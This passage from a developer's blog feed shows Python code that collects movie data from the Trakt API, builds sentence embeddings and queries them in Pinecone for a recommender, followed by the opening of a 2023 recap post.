<span class="n">trakt_id</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getenv</span><span class="p">(</span><span class="s2">"TRAKT_ID"</span><span class="p">)</span>
<span class="n">max_requests</span> <span class="o">=</span> <span class="mi">5000</span> <span class="c1"># How many requests I wanted to wrap everything up in</span>
<span class="n">req_count</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># A counter for how many requests I have made</span>
<span class="n">years</span> <span class="o">=</span> <span class="s2">"1900-2021"</span>
<span class="n">page</span> <span class="o">=</span> <span class="mi">1</span> <span class="c1"># The initial page number for the search</span>
<span class="n">extended</span> <span class="o">=</span> <span class="s2">"full"</span> <span class="c1"># Required to get additional information </span>
<span class="n">limit</span> <span class="o">=</span> <span class="s2">"10"</span> <span class="c1"># No of entires per request -- This will be automatically picked based on max_requests</span>
<span class="n">languages</span> <span class="o">=</span> <span class="s2">"en"</span> <span class="c1"># Limit to English</span>
<span class="n">api_base</span> <span class="o">=</span> <span class="s2">"https://api.trakt.tv"</span>
<span class="n">database_url</span> <span class="o">=</span> <span class="s2">"sqlite:///jlm.db"</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"Content-Type"</span><span class="p">:</span> <span class="s2">"application/json"</span><span class="p">,</span>
<span class="s2">"trakt-api-version"</span><span class="p">:</span> <span class="s2">"2"</span><span class="p">,</span>
<span class="s2">"trakt-api-key"</span><span class="p">:</span> <span class="n">trakt_id</span>
<span class="p">}</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"query"</span><span class="p">:</span> <span class="s2">""</span><span class="p">,</span>
<span class="s2">"years"</span><span class="p">:</span> <span class="n">years</span><span class="p">,</span>
<span class="s2">"page"</span><span class="p">:</span> <span class="n">page</span><span class="p">,</span>
<span class="s2">"extended"</span><span class="p">:</span> <span class="n">extended</span><span class="p">,</span>
<span class="s2">"limit"</span><span class="p">:</span> <span class="n">limit</span><span class="p">,</span>
<span class="s2">"languages"</span><span class="p">:</span> <span class="n">languages</span>
<span class="p">}</span>
<span class="c1"># Helper function to get desirable values from the response</span>
<span class="k">def</span> <span class="nf">create_movie_dict</span><span class="p">(</span><span class="n">movie</span><span class="p">:</span> <span class="nb">dict</span><span class="p">):</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">movie</span><span class="p">[</span><span class="s2">"movie"</span><span class="p">]</span>
<span class="n">movie_dict</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"title"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"title"</span><span class="p">],</span>
<span class="s2">"overview"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"overview"</span><span class="p">],</span>
<span class="s2">"genres"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"genres"</span><span class="p">],</span>
<span class="s2">"language"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"language"</span><span class="p">],</span>
<span class="s2">"year"</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">"year"</span><span class="p">]),</span>
<span class="s2">"trakt_id"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"ids"</span><span class="p">][</span><span class="s2">"trakt"</span><span class="p">],</span>
<span class="s2">"released"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"released"</span><span class="p">],</span>
<span class="s2">"runtime"</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">"runtime"</span><span class="p">]),</span>
<span class="s2">"country"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"country"</span><span class="p">],</span>
<span class="s2">"rating"</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">"rating"</span><span class="p">]),</span>
<span class="s2">"votes"</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">"votes"</span><span class="p">]),</span>
<span class="s2">"comment_count"</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">"comment_count"</span><span class="p">]),</span>
<span class="s2">"tagline"</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">"tagline"</span><span class="p">]</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">movie_dict</span>
<span class="c1"># Get total number of items</span>
<span class="n">params</span><span class="p">[</span><span class="s2">"limit"</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie"</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="n">total_items</span> <span class="o">=</span> <span class="n">res</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">"x-pagination-item-count"</span><span class="p">]</span>
<span class="n">engine</span><span class="p">,</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>
<span class="k">for</span> <span class="n">page</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">max_requests</span><span class="o">+</span><span class="mi">1</span><span class="p">)):</span>
<span class="n">params</span><span class="p">[</span><span class="s2">"page"</span><span class="p">]</span> <span class="o">=</span> <span class="n">page</span>
<span class="n">params</span><span class="p">[</span><span class="s2">"limit"</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">total_items</span><span class="p">)</span><span class="o">/</span><span class="n">max_requests</span><span class="p">)</span>
<span class="n">movies</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie"</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="k">if</span> <span class="n">res</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">500</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">elif</span> <span class="n">res</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
<span class="kc">None</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"OwO Code </span><span class="si">{</span><span class="n">res</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">movie</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">json</span><span class="p">():</span>
<span class="n">movies</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">create_movie_dict</span><span class="p">(</span><span class="n">movie</span><span class="p">))</span>
<span class="k">with</span> <span class="n">engine</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span> <span class="k">as</span> <span class="n">conn</span><span class="p">:</span>
<span class="k">for</span> <span class="n">movie</span> <span class="ow">in</span> <span class="n">movies</span><span class="p">:</span>
<span class="k">with</span> <span class="n">conn</span><span class="o">.</span><span class="n">begin</span><span class="p">()</span> <span class="k">as</span> <span class="n">trans</span><span class="p">:</span>
<span class="n">stmt</span> <span class="o">=</span> <span class="n">insert</span><span class="p">(</span><span class="n">movies_table</span><span class="p">)</span><span class="o">.</span><span class="n">values</span><span class="p">(</span>
<span class="n">trakt_id</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"trakt_id"</span><span class="p">],</span> <span class="n">title</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"title"</span><span class="p">],</span> <span class="n">genres</span><span class="o">=</span><span class="s2">" "</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">movie</span><span class="p">[</span><span class="s2">"genres"</span><span class="p">]),</span>
<span class="n">language</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"language"</span><span class="p">],</span> <span class="n">year</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"year"</span><span class="p">],</span> <span class="n">released</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"released"</span><span class="p">],</span>
<span class="n">runtime</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"runtime"</span><span class="p">],</span> <span class="n">country</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"country"</span><span class="p">],</span> <span class="n">overview</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"overview"</span><span class="p">],</span>
<span class="n">rating</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"rating"</span><span class="p">],</span> <span class="n">votes</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"votes"</span><span class="p">],</span> <span class="n">comment_count</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"comment_count"</span><span class="p">],</span>
<span class="n">tagline</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">"tagline"</span><span class="p">])</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">stmt</span><span class="p">)</span>
<span class="n">trans</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
<span class="k">except</span> <span class="n">IntegrityError</span><span class="p">:</span>
<span class="n">trans</span><span class="o">.</span><span class="n">rollback</span><span class="p">()</span>
<span class="n">req_count</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre>
</div>
<p>(Note: I was well within the rate-limit so I did not have to slow down or implement any other measures)</p>
<p>Running this script took me approximately 3 hours, and resulted in an SQLite database of 141.5 MB</p>
<h2 id="embeddings">Embeddings!</h2>
<p>I did not want to put my poor Mac through the estimated 23 hours it would have taken to embed the sentences. I decided to use Google Colab instead.</p>
<p>Because of the small size of the database file, I was able to just upload the file.</p>
<p>For the encoding model, I decided to use the pretrained <code>paraphrase-multilingual-MiniLM-L12-v2</code> model for SentenceTransformers, a Python framework for SOTA sentence, text and image embeddings.
I wanted to use a multilingual model as I personally consume content in various languages and some of the sources for their information do not translate to English.
As of writing this post, I did not include any other database except Trakt. </p>
<p>While deciding how I was going to process the embeddings, I came across multiple solutions:</p>
<ul>
<li><p><a rel="noopener" target="_blank" href="https://milvus.io">Milvus</a> - An open-source vector database with similar search functionality</p></li>
<li><p><a rel="noopener" target="_blank" href="https://faiss.ai">FAISS</a> - A library for efficient similarity search</p></li>
<li><p><a rel="noopener" target="_blank" href="https://pinecone.io">Pinecone</a> - A fully managed vector database with similar search functionality</p></li>
</ul>
<p>I did not want to waste time setting up the first two, so I decided to go with Pinecone which offers 1M 768-dim vectors for free with no credit card required (Our embeddings are 384-dim dense).</p>
<p>Getting started with Pinecone was as easy as:</p>
<ul>
<li><p>Signing up</p></li>
<li><p>Specifying the index name and vector dimensions along with the similarity search metric (Cosine Similarity for our use case)</p></li>
<li><p>Getting the API key</p></li>
<li><p>Installing the Python module (pinecone-client)</p></li>
</ul>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">pinecone</span>
<span class="kn">from</span> <span class="nn">sentence_transformers</span> <span class="kn">import</span> <span class="n">SentenceTransformer</span>
<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
<span class="n">database_url</span> <span class="o">=</span> <span class="s2">"sqlite:///jlm.db"</span>
<span class="n">PINECONE_KEY</span> <span class="o">=</span> <span class="s2">"not-this-at-all"</span>
<span class="n">batch_size</span> <span class="o">=</span> <span class="mi">32</span>
<span class="n">pinecone</span><span class="o">.</span><span class="n">init</span><span class="p">(</span><span class="n">api_key</span><span class="o">=</span><span class="n">PINECONE_KEY</span><span class="p">,</span> <span class="n">environment</span><span class="o">=</span><span class="s2">"us-west1-gcp"</span><span class="p">)</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">pinecone</span><span class="o">.</span><span class="n">Index</span><span class="p">(</span><span class="s2">"movies"</span><span class="p">)</span>
<span class="n">model</span> <span class="o">=</span> <span class="n">SentenceTransformer</span><span class="p">(</span><span class="s2">"paraphrase-multilingual-MiniLM-L12-v2"</span><span class="p">,</span> <span class="n">device</span><span class="o">=</span><span class="s2">"cuda"</span><span class="p">)</span>
<span class="n">engine</span><span class="p">,</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_sql</span><span class="p">(</span><span class="s2">"Select * from movies"</span><span class="p">,</span> <span class="n">engine</span><span class="p">)</span>
<span class="n">df</span><span class="p">[</span><span class="s2">"combined_text"</span><span class="p">]</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">"title"</span><span class="p">]</span> <span class="o">+</span> <span class="s2">": "</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">"overview"</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span> <span class="o">+</span> <span class="s2">" - "</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">"tagline"</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span> <span class="o">+</span> <span class="s2">" Genres:- "</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">"genres"</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span>
<span class="c1"># Creating the embedding and inserting it into the database</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">),</span><span class="n">batch_size</span><span class="p">)):</span>
<span class="n">to_send</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">trakt_ids</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">"trakt_id"</span><span class="p">][</span><span class="n">x</span><span class="p">:</span><span class="n">x</span><span class="o">+</span><span class="n">batch_size</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
<span class="n">sentences</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">"combined_text"</span><span class="p">][</span><span class="n">x</span><span class="p">:</span><span class="n">x</span><span class="o">+</span><span class="n">batch_size</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
<span class="n">embeddings</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">sentences</span><span class="p">)</span>
<span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">trakt_ids</span><span class="p">):</span>
<span class="n">to_send</span><span class="o">.</span><span class="n">append</span><span class="p">(</span>
<span class="p">(</span>
<span class="nb">str</span><span class="p">(</span><span class="n">value</span><span class="p">),</span> <span class="n">embeddings</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
<span class="p">))</span>
<span class="n">index</span><span class="o">.</span><span class="n">upsert</span><span class="p">(</span><span class="n">to_send</span><span class="p">)</span>
</code></pre>
</div>
<p>That's it!</p>
<h2 id="interacting-with-vectors">Interacting with Vectors</h2>
<p>We use the <code>trakt_id</code> for the movie as the ID for the vectors and upsert it into the index. </p>
<p>To find similar items, we will first have to map the name of the movie to its trakt_id, get the embeddings we have for that id and then perform a similarity search.
It is possible that this additional step of mapping could be avoided by storing information as metadata in the index.</p>
<div class="codehilite">
<pre><span></span><code><span class="k">def</span> <span class="nf">get_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
<span class="n">rec</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="s2">"title"</span><span class="p">]</span><span class="o">.</span><span class="n">str</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span><span class="o">==</span><span class="n">movie_name</span><span class="o">.</span><span class="n">lower</span><span class="p">()]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="o">.</span><span class="n">tolist</span><span class="p">())</span> <span class="o">></span> <span class="mi">1</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"multiple values found... </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">)</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="p">)):</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">] </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()[</span><span class="n">x</span><span class="p">]</span><span class="si">}</span><span class="s2"> (</span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">'year'</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()[</span><span class="n">x</span><span class="p">]</span><span class="si">}</span><span class="s2">) - </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">'overview'</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"==="</span><span class="p">)</span>
<span class="n">z</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"Choose No: "</span><span class="p">))</span>
<span class="k">return</span> <span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="n">z</span><span class="p">]</span>
<span class="k">return</span> <span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">get_vector_value</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
<span class="n">fetch_response</span> <span class="o">=</span> <span class="n">index</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="n">ids</span><span class="o">=</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">)])</span>
<span class="k">return</span> <span class="n">fetch_response</span><span class="p">[</span><span class="s2">"vectors"</span><span class="p">][</span><span class="nb">str</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">)][</span><span class="s2">"values"</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">query_vectors</span><span class="p">(</span><span class="n">vector</span><span class="p">:</span> <span class="nb">list</span><span class="p">,</span> <span class="n">top_k</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">20</span><span class="p">,</span> <span class="n">include_values</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">False</span><span class="p">,</span> <span class="n">include_metada</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">True</span><span class="p">):</span>
<span class="n">query_response</span> <span class="o">=</span> <span class="n">index</span><span class="o">.</span><span class="n">query</span><span class="p">(</span>
<span class="n">queries</span><span class="o">=</span><span class="p">[</span>
<span class="p">(</span><span class="n">vector</span><span class="p">),</span>
<span class="p">],</span>
<span class="n">top_k</span><span class="o">=</span><span class="n">top_k</span><span class="p">,</span>
<span class="n">include_values</span><span class="o">=</span><span class="n">include_values</span><span class="p">,</span>
<span class="n">include_metadata</span><span class="o">=</span><span class="n">include_metada</span>
<span class="p">)</span>
<span class="k">return</span> <span class="n">query_response</span>
<span class="k">def</span> <span class="nf">query2ids</span><span class="p">(</span><span class="n">query_response</span><span class="p">):</span>
<span class="n">trakt_ids</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">match</span> <span class="ow">in</span> <span class="n">query_response</span><span class="p">[</span><span class="s2">"results"</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s2">"matches"</span><span class="p">]:</span>
<span class="n">trakt_ids</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">match</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">trakt_ids</span>
<span class="k">def</span> <span class="nf">get_deets_by_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">trakt_id</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="s2">"trakt_id"</span><span class="p">]</span><span class="o">==</span><span class="n">trakt_id</span><span class="p">]</span>
<span class="k">return</span> <span class="p">{</span>
<span class="s2">"title"</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">title</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
<span class="s2">"overview"</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">overview</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
<span class="s2">"runtime"</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
<span class="s2">"year"</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">year</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="p">}</span>
</code></pre>
</div>
<h3 id="testing-it-out">Testing it Out</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">movie_name</span> <span class="o">=</span> <span class="s2">"Now You See Me"</span>
<span class="n">movie_trakt_id</span> <span class="o">=</span> <span class="n">get_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">movie_name</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">movie_trakt_id</span><span class="p">)</span>
<span class="n">movie_vector</span> <span class="o">=</span> <span class="n">get_vector_value</span><span class="p">(</span><span class="n">movie_trakt_id</span><span class="p">)</span>
<span class="n">movie_queries</span> <span class="o">=</span> <span class="n">query_vectors</span><span class="p">(</span><span class="n">movie_vector</span><span class="p">)</span>
<span class="n">movie_ids</span> <span class="o">=</span> <span class="n">query2ids</span><span class="p">(</span><span class="n">movie_queries</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">movie_ids</span><span class="p">)</span>
<span class="k">for</span> <span class="n">trakt_id</span> <span class="ow">in</span> <span class="n">movie_ids</span><span class="p">:</span>
<span class="n">deets</span> <span class="o">=</span> <span class="n">get_deets_by_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">trakt_id</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span><span class="si">}</span><span class="s2"> (</span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">'year'</span><span class="p">]</span><span class="si">}</span><span class="s2">): </span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">'overview'</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</code></pre>
</div>
<p>Output:</p>
<pre><code>55786
[55786, 18374, 299592, 662622, 6054, 227458, 139687, 303950, 70000, 129307, 70823, 5766, 23950, 137696, 655723, 32842, 413269, 145994, 197990, 373832]
Now You See Me (2013): An FBI agent and an Interpol detective track a team of illusionists who pull off bank heists during their performances and reward their audiences with the money.
Trapped (1949): U.S. Treasury Department agents go after a ring of counterfeiters.
Brute Sanity (2018): An FBI-trained neuropsychologist teams up with a thief to find a reality-altering device while her insane ex-boss unleashes bizarre traps to stop her.
The Chase (2017): Some FBI agents hunt down a criminal
Surveillance (2008): An FBI agent tracks a serial killer with the help of three of his would-be victims - all of whom have wildly different stories to tell.
Marauders (2016): An untraceable group of elite bank robbers is chased by a suicidal FBI agent who uncovers a deeper purpose behind the robbery-homicides.
Miracles for Sale (1939): A maker of illusions for magicians protects an ingenue likely to be murdered.
Deceptors (2005): A Ghostbusters knock-off where a group of con-artists create bogus monsters to scare up some cash. They run for their lives when real spooks attack.
The Outfit (1993): A renegade FBI agent sparks an explosive mob war between gangster crime lords Legs Diamond and Dutch Schultz.
Bank Alarm (1937): A federal agent learns the gangsters he's been investigating have kidnapped his sister.
The Courier (2012): A shady FBI agent recruits a courier to deliver a mysterious package to a vengeful master criminal who has recently resurfaced with a diabolical plan.
After the Sunset (2004): An FBI agent is suspicious of two master thieves, quietly enjoying their retirement near what may - or may not - be the biggest score of their careers.
Down Three Dark Streets (1954): An FBI Agent takes on the three unrelated cases of a dead agent to track down his killer.
The Executioner (1970): A British intelligence agent must track down a fellow spy suspected of being a double agent.
Ace of Cactus Range (1924): A Secret Service agent goes undercover to unmask the leader of a gang of diamond thieves.
Firepower (1979): A mercenary is hired by the FBI to track down a powerful recluse criminal, a woman is also trying to track him down for her own personal vendetta.
Heroes & Villains (2018): an FBI agent chases a thug to great tunes
Federal Fugitives (1941): A government agent goes undercover in order to apprehend a saboteur who caused a plane crash.
Hell on Earth (2012): An FBI Agent on the trail of a group of drug traffickers learns that their corruption runs deeper than she ever imagined, and finds herself in a supernatural - and deadly - situation.
Spies (2015): A secret agent must perform a heist without time on his side
</code></pre>
<p>For now, I am happy with the recommendations.</p>
<h2 id="simple-ui">Simple UI</h2>
<p>The code for the flask app can be found on GitHub: <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/FlixRec">navanchauhan/FlixRec</a> or on my <a rel="noopener" target="_blank" href="https://pi4.navan.dev/gitea/navan/FlixRec">Gitea instance</a></p>
<p>I quickly whipped up a simple Flask App to deal with problems of multiple movies sharing the title, and typos in the search query.</p>
<h3 id="home-page">Home Page</h3>
<p><img src="/assets/flixrec/home.png" alt="Home Page" /></p>
<h3 id="handling-multiple-movies-with-same-title">Handling Multiple Movies with Same Title</h3>
<p><img src="/assets/flixrec/multiple.png" alt="Multiple Movies with Same Title" /></p>
<h3 id="results-page">Results Page</h3>
<p><img src="/assets/flixrec/results.png" alt="Results Page" /></p>
<p>Includes additional filter options</p>
<p><img src="/assets/flixrec/filter.png" alt="Advance Filtering Options" /></p>
<p>Test it out at <a rel="noopener" target="_blank" href="https://flixrec.navan.dev">https://flixrec.navan.dev</a></p>
<h2 id="current-limittations">Current Limittations</h2>
<ul>
<li>Does not work well with popular franchises</li>
<li>No Genre Filter</li>
</ul>
<h2 id="future-addons">Future Addons</h2>
<ul>
<li>Include Cast Data
<ul>
<li>e.g. If it sees a movie with Tom Hanks and Meg Ryan, then it will boost similar movies including them</li>
<li>e.g. If it sees the movie has been directed my McG, then it will boost similar movies directed by them</li>
</ul></li>
<li>REST API</li>
<li>TV Shows</li>
<li>Multilingual database</li>
<li>Filter based on popularity: The data already exists in the indexed database</li>
</ul>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2024-01-05-hello-20224.html
</guid>
<title>
Hello 2024
</title>
<description>
Recap of 2023, and my goals for 2024
</description>
<link>https://web.navan.dev/posts/2024-01-05-hello-20224.html</link>
<pubDate>Fri, 05 Jan 2024 23:16:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="hello-2024">Hello 2024</h1>
<p><code>2024 % 4 == 0</code></p>
<h2 id="2023">2023</h2>
<p>Another revolution around the sun! This was a pretty fun and interesting year. I got to work on some interesting projects, and learned a lot.</p>
<p>I am going to try and use my GitHub activity to recap.</p>
<h3 id="spring">Spring</h3>
<ul>
<li>I helped a friend modernize their Larvael codebase. Dockerized it for easier development, and added a CD pipeline. (Probably going to be released by end of this year)</li>
<li>I joined <a rel="noopener" target="_blank" href="http://hindsightjournal.org">Hindsight Journal</a>, a creative non-fiction club at CU as their "webmaster", and we moved away from Squarespace to our own custom static site generator.</li>
<li>I did some YunoHost stuff with listmonk, and audiobookshelf</li>
<li>I found out that the instructor for my astrophysics class was behind <a rel="noopener" target="_blank" href="https://twitter.com/threebodybot">@ThreeBodyBot</a>. For my final project, I ported the codebase to run in the browser itself. Ended up getting an A 😎</li>
